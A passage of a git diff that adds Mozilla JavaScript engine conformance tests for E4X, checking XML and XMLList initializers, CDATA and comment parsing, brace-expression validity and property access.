+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2005
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Brendan Eich
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = '11.1.4-04.js';
+
+var summary = "11.1.4 - XML Initializer - Comment hiding parsing/scanning";
+var BUGNUMBER = 311157;
+var actual;
+var expect;
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+var x = <hi> <!-- duh -->
+ there </hi>;
+
+actual = x.toString();
+expect = '\n there ';
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/Expressions/11.1.4-05.js b/e4x/Expressions/11.1.4-05.js
new file mode 100755
index 0000000..e868994
--- /dev/null
+++ b/e4x/Expressions/11.1.4-05.js
@@ -0,0 +1,57 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2005
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Brendan Eich
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = '11.1.4-05.js';
+
+var summary = "11.1.4 - XML Initializer - Comment hiding parsing/scanning";
+var BUGNUMBER = 311157;
+var actual;
+var expect;
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+XML.ignoreWhitespace = false;
+
+var x = <bye> <![CDATA[ duh ]]>
+ there </bye>;
+
+actual = x.toString();
+expect = ' duh \n there ';
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/Expressions/11.1.4-06.js b/e4x/Expressions/11.1.4-06.js
new file mode 100755
index 0000000..8b81c89
--- /dev/null
+++ b/e4x/Expressions/11.1.4-06.js
@@ -0,0 +1,61 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2005
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Seno Aiko
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = '11.1.4-06.js';
+
+var summary = "11.1.4 - ]] should be allowed in CDATA Section";
+var BUGNUMBER = 313929;
+var actual = 'No error';
+var expect = 'No error';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+try
+{
+ actual = XML("<x><![CDATA[ ]] ]]></x>").toString();
+}
+catch(e)
+{
+ actual = e + '';
+}
+
+expect = (<x> ]] </x>).toString();
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/Expressions/11.1.4-07.js b/e4x/Expressions/11.1.4-07.js
new file mode 100755
index 0000000..b339aac
--- /dev/null
+++ b/e4x/Expressions/11.1.4-07.js
@@ -0,0 +1,78 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2005
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Biju
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = '11.1.4-07.js';
+
+var summary = "11.1.4 - XML Initializer - <p:{b}b>x</p:bb>";
+var BUGNUMBER = 321549;
+var actual = 'No error';
+var expect = 'No error';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+var b = 'b';
+
+try
+{
+ actual = (<a xmlns:p='http://a.uri/'><p:b{b}>x</p:bb></a>).
+ toString();
+}
+catch(e)
+{
+ actual = e + '';
+}
+
+expect = (<a xmlns:p='http://a.uri/'><p:bb>x</p:bb></a>).toString();
+
+TEST(1, expect, actual);
+
+try
+{
+ actual = (<a xmlns:p='http://a.uri/'><p:{b}b>x</p:bb></a>).
+ toString();
+}
+catch(e)
+{
+ actual = e + '';
+}
+
+expect = (<a xmlns:p='http://a.uri/'><p:bb>x</p:bb></a>).toString();
+
+TEST(2, expect, actual);
+
+END();
diff --git a/e4x/Expressions/11.1.4-08.js b/e4x/Expressions/11.1.4-08.js
new file mode 100755
index 0000000..c48aaad
--- /dev/null
+++ b/e4x/Expressions/11.1.4-08.js
@@ -0,0 +1,158 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2006
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Biju
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = '11.1.4-08.js';
+
+var summary = "11.1.4 - XML Initializer - {} Expressions - 08";
+
+var BUGNUMBER = 325750;
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+printStatus('E4X: inconsistencies in the use of {} syntax Part Deux');
+
+// https://bugzilla.mozilla.org/show_bug.cgi?id=318922
+// https://bugzilla.mozilla.org/show_bug.cgi?id=321549
+
+var exprs = [];
+var iexpr;
+
+exprs.push({expr: 'b=\'\\\'\';\na=<a>\n <b c=\'c{b}>x</b>\n</a>;', valid: false});
+exprs.push({expr: 'b=\'\\\'\';\na=<a>\n <b c={b}c\'>x</b>\n</a>;', valid: false});
+exprs.push({expr: 'b=\'b\';\na=<a xmlns:p=\'http://a.uri/\'>\n <p:b{b}>x</p:bb>\n</a>;', valid: true});
+exprs.push({expr: 'b=\'b\';\na=<a xmlns:p=\'http://a.uri/\'>\n <p:b{b}>x</p:bb>\n</a>;', valid: true});
+exprs.push({expr: 'b=\'b\';\na=<a xmlns:p=\'http://a.uri/\'>\n <p:{b}b>x</p:bb>\n</a>;', valid: true});
+exprs.push({expr: 'b=\'b\';\na=<a xmlns:p=\'http://a.uri/\'>\n <p:{b}b>x</p:bb>\n</a>;', valid: true});
+exprs.push({expr: 'b=\'b\';\na=<a xmlns:p=\'http://a.uri/\'>\n <{b}b>x</bb>\n</a>;', valid: true});
+exprs.push({expr: 'b=\'b\';\na=<a>\n <b{b}>x</bb>\n</a>;', valid: true});
+exprs.push({expr: 'b=\'b\';\na=<a>\n <{b+\'b\'}>x</bb>\n</a>;', valid: true});
+exprs.push({expr: 'b=\'b\';\na=<a>\n <{b}b>x</bb>\n</a>;', valid: true});
+exprs.push({expr: 'b=\'c\';\na=<a>\n <b c=\'c\'{b}>x</b>\n</a>;', valid: false});
+exprs.push({expr: 'b=\'c\';\na=<a>\n <b c={b}>x</b>\n</a>;', valid: true});
+exprs.push({expr: 'b=\'c\';\na=<a>\n <b c={b}\'c\'>x</b>\n</a>;', valid: false});
+exprs.push({expr: 'b=\'c\';\na=<a>\n <b c{b}=\'c\'>x</b>\n</a>;', valid: true});
+exprs.push({expr: 'b=\'c\';\na=<a>\n <b {b+\'c\'}=\'c\'>x</b>\n</a>;', valid: true});
+exprs.push({expr: 'b=\'c\';\na=<a>\n <b {b}=\'c\'>x</b>\n</a>;', valid: true});
+exprs.push({expr: 'b=\'c\';\na=<a>\n <b {b}c=\'c\'>x</b>\n</a>;', valid: true});
+exprs.push({expr: 'm=1;\na=<a>\n x {m} z\n</a>;', valid: true});
+exprs.push({expr: 'm=1;\na=new XML(m);', valid: true});
+exprs.push({expr: 'm=<m><n>o</n></m>;\na=<a>\n <b>x {m} z</b>\n</a>;', valid: true});
+exprs.push({expr: 'm=<m><n>o</n></m>;\na=<a>\n <{m}>x z</{m}>\n</a>;', valid: false});
+exprs.push({expr: 'm=<m>o</m>;\na=<a>\n <{m}>x z</{m}>\n</a>;', valid: true});
+exprs.push({expr: 'm=[1,\'x\'];\na=<a>\n x {m} z\n</a>;', valid: true});
+exprs.push({expr: 'm=[1,\'x\'];\na=new XML(m);', valid: false});
+exprs.push({expr: 'm=[1];\na=new XML(m);', valid: false});
+exprs.push({expr: 'm=\'<m><n>o</n></m>\';\na=<a>\n <b>x {m} z</b>\n</a>;', valid: true});
+exprs.push({expr: 'm=\'<m><n>o</n></m>\';\na=<a>\n x {m} z\n</a>;', valid: true});
+exprs.push({expr: 'm=\'x\';\na=new XML(m);', valid: true});
+exprs.push({expr: 'm=new Date();\na=new XML(m);', valid: false});
+exprs.push({expr: 'm=new Number(\'1\');\na=new XML(m);', valid: true});
+exprs.push({expr: 'm=new String(\'x\');\na=new XML(\'<a>\\n {m}\\n</a>\');', valid: true});
+exprs.push({expr: 'm=new String(\'x\');\na=new XML(m);', valid: true});
+exprs.push({expr: 'm={a:1,b:\'x\'};\na=<a>\n x {m} z\n</a>;', valid: true});
+exprs.push({expr: 'm={a:1,b:\'x\'};\na=new XML(m);', valid: false});
+exprs.push({expr: 'p="p";\nu=\'http://a.uri/\';\na=<a xmlns:p{p}={\'x\',1,u}>\n <pp:b>x</pp:b>\n</a>;', valid: true});
+exprs.push({expr: 'p="p";\nu=\'http://a.uri/\';\na=<a xmlns:{p}p={\'x\',1,u}>\n <pp:b>x</pp:b>\n</a>;', valid: true});
+exprs.push({expr: 'p="pp";\nu=\'http://a.uri/\';\na=<a xmlns:{p}={\'x\',1,u}>\n <pp:b>x</pp:b>\n</a>;', valid: true});
+exprs.push({expr: 'u=\'http://a.uri/\';\na=<a xmlns:p={(function(){return u})()}>\n <p:b>x</p:b>\n</a>;', valid: true});
+exprs.push({expr: 'u=\'http://a.uri/\';\na=<a xmlns:p={\'x\',1,u}>\n <p:b>x</p:b>\n</a>;', valid: true});
+exprs.push({expr: 'u=\'http://a.uri/\';\na=<a xmlns:p={u}>\n <{u}:b>x</p:b>\n</a>;', valid: false});
+exprs.push({expr: 'u=\'http://a.uri/\';\na=<a xmlns:p={var d=2,u}>\n <p:b>x</p:b>\n</a>;', valid: false});
+exprs.push({expr: 'u=\'http://a.uri/\';\nn=new Namespace("p",u);\na=<a xmlns:p={n}>\n <{u}:b>x</p:b>\n</a>;', valid: false});
+exprs.push({expr: 'u=\'http://a.uri/\';\nn=new Namespace("p",u);\na=<a xmlns:p={u}>\n <{u}:b>x</p:b>\n</a>;', valid: false});
+exprs.push({expr: 'u=\'http://a.uri/\';\nn=new Namespace("p",u);\na=<a xmlns:{n}={n}>\n <p:b>x</p:b>\n</a>;', valid: false});
+exprs.push({expr: 'u=\'http://a.uri/\';\nn=new Namespace("p",u);\na=<a xmlns:{n}={n}>\n <{n}:b>x</p:b>\n</a>;', valid: false});
+exprs.push({expr: 'u=\'http://a.uri/\';\nn=new Namespace(u);\na=<a xmlns:p={n}>\n <p:b>x</p:b>\n</a>;', valid: true});
+exprs.push({expr: 'u=\'http://a.uri/\';\nn=new Namespace(u);\na=<a xmlns:p={n}>\n <{n}:b>x</p:b>\n</a>;', valid: false});
+exprs.push({expr: 'u=\'http://a.uri/\';\nn=new Namespace(u);\na=<a xmlns:p={u}>\n <p:b>x</p:b>\n</a>;', valid: true});
+exprs.push({expr: 'u=\'http://a.uri/\';\nn=new Namespace(u);\na=<a xmlns:p={u}>\n <{n}:b>x</p:b>\n</a>;', valid: false});
+exprs.push({expr: 'u=\'http://a.uri/\';\nn=new Namespace(u);\na=<a xmlns:p={u}>\n <{n}:b>x</p:b>\n</a>;', valid: false});
+exprs.push({expr: 'u=\'http://a.uri/\';\np=\'p\';\na=<a xmlns:p={u}>\n <{p}:b>x</p:b>\n</a>;', valid: true});
+exprs.push({expr: 'u=\'http://a.uri/\';\np=\'p\';\na=<a xmlns:pp={u}>\n <p{p}:b>x</pp:b>\n</a>;', valid: true});
+exprs.push({expr: 'u=\'http://a.uri/\';\np=\'p\';\na=<a xmlns:pp={u}>\n <{p}p:b>x</pp:b>\n</a>;', valid: true});
+exprs.push({expr: 'u=\'http://a.uri/\';\np=\'p\';\nns="ns";\na=<a xml{ns}:pp={u}>\n <{p}p:b>x</pp:b>\n</a>;', valid: true});
+exprs.push({expr: 'u=\'http://a.uri/\';\np=\'p\';\nns="xmlns";\na=<a {ns}:pp={u}>\n <{p}p:b>x</pp:b>\n</a>;', valid: true});
+exprs.push({expr: 'u=\'http://a.uri/\';\np=\'p\';\nxml="xml";\na=<a {xml}ns:pp={u}>\n <{p}p:b>x</pp:b>\n</a>;', valid: true});
+exprs.push({expr: 'u=\'http://a.uri/\';\np=\'pp\';\na=<a xmlns:pp={u}>\n <{p}:b>x</pp:b>\n</a>;', valid: true});
+exprs.push({expr: 'u=\'http://a.uri/\';\nu2=\'http://uri2.sameprefix/\';\nn=new Namespace(\'p\',u2);\na=<a xmlns:p={u}>\n <{n}:b>x</p:b>\n</a>;', valid: false}); // This should always fail
+
+for (iexpr = 0; iexpr < exprs.length; ++iexpr)
+{
+ evalStr(exprs, iexpr);
+}
+
+END();
+
+function evalStr(exprs, iexpr)
+{
+ var value;
+ var valid;
+ var passfail;
+ var obj = exprs[iexpr];
+
+ try
+ {
+ value = eval(obj.expr).toXMLString();
+ valid = true;
+ }
+ catch(ex)
+ {
+ value = ex + '';
+ valid = false;
+ }
+
+ passfail = (valid === obj.valid);
+
+ msg = iexpr + ': ' + (passfail ? 'PASS':'FAIL') +
+ ' expected: ' + (obj.valid ? 'valid':'invalid') +
+ ', actual: ' + (valid ? 'valid':'invalid') + '\n' +
+ 'input: ' + '\n' +
+ obj.expr + '\n' +
+ 'output: ' + '\n' +
+ value + '\n\n';
+
+ printStatus(msg);
+
+ TEST(iexpr, obj.valid, valid);
+
+ return passfail;
+}
+
+
diff --git a/e4x/Expressions/11.1.4.js b/e4x/Expressions/11.1.4.js
new file mode 100644
index 0000000..59dccae
--- /dev/null
+++ b/e4x/Expressions/11.1.4.js
@@ -0,0 +1,140 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+ *
+ * ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is Rhino code, released
+ * May 6, 1999.
+ *
+ * The Initial Developer of the Original Code is
+ * Netscape Communications Corporation.
+ * Portions created by the Initial Developer are Copyright (C) 1997-2000
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * Igor Bukanov
+ * Ethan Hugg
+ * Milen Nankov
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = '11.1.4.js';
+
+START("11.1.4 - XML Initializer");
+
+person = <person><name>John</name><age>25</age></person>;
+TEST(1, <person><name>John</name><age>25</age></person>, person);
+
+e = <employees>
+ <employee id = "1"><name>Joe</name><age>20</age></employee>
+ <employee id = "2"><name>Sue</name><age>30</age></employee>
+ </employees>;
+
+TEST_XML(2, 1, e.employee[0].@id);
+
+correct = <name>Sue</name>;
+TEST(3, correct, e.employee[1].name);
+
+names = new Array();
+names[0] = "Alpha";
+names[1] = "Bravo";
+names[2] = "Charlie";
+names[3] = "Delta";
+names[4] = "Echo";
+names[5] = "Golf";
+names[6] = "Hotel";
+names[7] = "India";
+names[8] = "Juliet";
+names[9] = "Kilo";
+
+ages = new Array();
+ages[0] = "20";
+ages[1] = "21";
+ages[2] = "22";
+ages[3] = "23";
+ages[4] = "24";
+ages[5] = "25";
+ages[6] = "26";
+ages[7] = "27";
+ages[8] = "28";
+ages[9] = "29";
+
+for (i = 0; i < 10; i++)
+{
+ e.*[i] = <employee id={i}>
+ <name>{names[i].toUpperCase()}</name>
+ <age>{ages[i]}</age>
+ </employee>;
+
+ correct = new XML("<employee id=\"" + i + "\"><name>" + names[i].toUpperCase() + "</name><age>" + ages[i] + "</age></employee>");
+ TEST(4 + i, correct, e.*[i]);
+}
+
+tagName = "name";
+attributeName = "id";
+attributeValue = 5;
+content = "Fred";
+
+x = <{tagName} {attributeName}={attributeValue}>{content}</{tagName}>;
+TEST(14, "<name id=\"5\">Fred</name>", x.toXMLString());
+
+// Test {} on XML and XMLList types
+x =
+<rectangle>
+ <length>30</length>
+ <width>50</width>
+</rectangle>;
+
+correct =
+<rectangle>
+ <width>50</width>
+ <length>30</length>
+</rectangle>;
+
+x = <rectangle>{x.width}{x.length}</rectangle>;
+
+TEST(15, correct, x);
+
+var content = "<foo name=\"value\">bar</foo>";
+x = <x><a>{content}</a></x>;
+correct = <x/>;
+correct.a = content;
+TEST(16, correct, x);
+
+x = <x a={content}/>;
+correct = <x/>;
+correct.@a = content;
+TEST(17, correct, x);
+
+a = 5;
+b = 3;
+c = "x";
+x = <{c} a={a + " < " + b + " is " + (a < b)}>{a + " < " + b + " is " + (a < b)}</{c}>;
+TEST(18, "<x a=\"5 < 3 is false\">5 < 3 is false</x>", x.toXMLString());
+
+x = <{c} a={a + " > " + b + " is " + (a > b)}>{a + " > " + b + " is " + (a > b)}</{c}>;
+TEST(19, "<x a=\"5 > 3 is true\">5 > 3 is true</x>", x.toXMLString());
+
+END();
diff --git a/e4x/Expressions/11.1.5.js b/e4x/Expressions/11.1.5.js
new file mode 100644
index 0000000..b943b95
--- /dev/null
+++ b/e4x/Expressions/11.1.5.js
@@ -0,0 +1,62 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+ *
+ * ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is Rhino code, released
+ * May 6, 1999.
+ *
+ * The Initial Developer of the Original Code is
+ * Netscape Communications Corporation.
+ * Portions created by the Initial Developer are Copyright (C) 1997-2000
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * Igor Bukanov
+ * Ethan Hugg
+ * Milen Nankov
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = '11.1.5.js';
+
+START("11.1.5 - XMLList Initializer");
+
+docfrag = <><name>Phil</name><age>35</age><hobby>skiing</hobby></>;
+TEST(1, "xml", typeof(docfrag));
+
+correct = <name>Phil</name>;
+TEST(2, correct, docfrag[0]);
+
+emplist = <>
+ <employee id="0"><name>Jim</name><age>25</age></employee>
+ <employee id="1"><name>Joe</name><age>20</age></employee>
+ <employee id="2"><name>Sue</name><age>30</age></employee>
+ </>;
+
+TEST(3, "xml", typeof(emplist));
+TEST_XML(4, 2, emplist[2].@id);
+
+END();
diff --git a/e4x/Expressions/11.2.1.js b/e4x/Expressions/11.2.1.js
new file mode 100644
index 0000000..3ab94b0
--- /dev/null
+++ b/e4x/Expressions/11.2.1.js
@@ -0,0 +1,173 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+ *
+ * ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is Rhino code, released
+ * May 6, 1999.
+ *
+ * The Initial Developer of the Original Code is
+ * Netscape Communications Corporation.
+ * Portions created by the Initial Developer are Copyright (C) 1997-2000
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * Igor Bukanov
+ * Ethan Hugg
+ * Milen Nankov
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = '11.2.1.js';
+
+START("11.2.1 - Property Accessors");
+
+order =
+<order id="123456" timestamp="Mon Mar 10 2003 16:03:25 GMT-0800 (PST)">
+ <customer>
+ <firstname>John</firstname>
+ <lastname>Doe</lastname>
+ </customer>
+ <item>
+ <description>Big Screen Television</description>
+ <price>1299.99</price>
+ <quantity>1</quantity>
+ </item>
+</order>;
+
+correct =
+<customer>
+ <firstname>John</firstname>
+ <lastname>Doe</lastname>
+</customer>;
+
+TEST(1, correct, order.customer);
+TEST_XML(2, 123456, order.@id);
+
+correct =
+<item>
+ <description>Big Screen Television</description>
+ <price>1299.99</price>
+ <quantity>1</quantity>
+</item>
+
+TEST(3, correct, order.children()[1]);
+
+correct =
+<customer>
+ <firstname>John</firstname>
+ <lastname>Doe</lastname>
+</customer> +
+<item>
+ <description>Big Screen Television</description>
+ <price>1299.99</price>
+ <quantity>1</quantity>
+</item>;
+
+
+TEST(4, correct, order.*);
+
+correct = new XMLList();
+correct += new XML("123456");
+correct += new XML("Mon Mar 10 2003 16:03:25 GMT-0800 (PST)");
+TEST(5, correct, order.@*);
+
+order = <order>
+ <customer>
+ <firstname>John</firstname>
+ <lastname>Doe</lastname>
+ </customer>
+ <item id="3456">
+ <description>Big Screen Television</description>
+ <price>1299.99</price>
+ <quantity>1</quantity>
+ </item>
+ <item id="56789">
+ <description>DVD Player</description>
+ <price>399.99</price>
+ <quantity>1</quantity>
+ </item>
+ </order>;
+
+correct =
+<description>Big Screen Television</description> +
+<description>DVD Player</description>;
+
+TEST(6, correct, order.item.description);
+
+correct = new XMLList();
+correct += new XML("3456");
+correct += new XML("56789");
+TEST(7, correct, order.item.@id);
+
+correct =
+<item id="56789">
+ <description>DVD Player</description>
+ <price>399.99</price>
+ <quantity>1</quantity>
+</item>
+
+TEST(8, correct, order.item[1]);
+
+correct =
+<description>Big Screen Television</description> +
+<price>1299.99</price> +
+<quantity>1</quantity> +
+<description>DVD Player</description> +
+<price>399.99</price> +
+<quantity>1</quantity>;
+
+TEST(9, correct, order.item.*);
+
+correct=
+<price>1299.99</price>;
+
+TEST(10, correct, order.item.*[1]);
+
+// get the first (and only) order [treating single element as a list]
+order = <order>
+ <customer>
+ <firstname>John</firstname>
+ <lastname>Doe</lastname>
+ </customer>
+ <item id="3456">
+ <description>Big Screen Television</description>
+ <price>1299.99</price>
+ <quantity>1</quantity>
+ </item>
+ <item id="56789">
+ <description>DVD Player</description>
+ <price>399.99</price>
+ <quantity>1</quantity>
+ </item>
+ </order>;
+
+
+TEST(11, order, order[0]);
+
+// Any other index should return undefined
+TEST(12, undefined, order[1]);
+
+END();
diff --git a/e4x/Expressions/11.2.2.js b/e4x/Expressions/11.2.2.js
new file mode 100644
index 0000000..6565b90
--- /dev/null
+++ b/e4x/Expressions/11.2.2.js
@@ -0,0 +1,106 @@
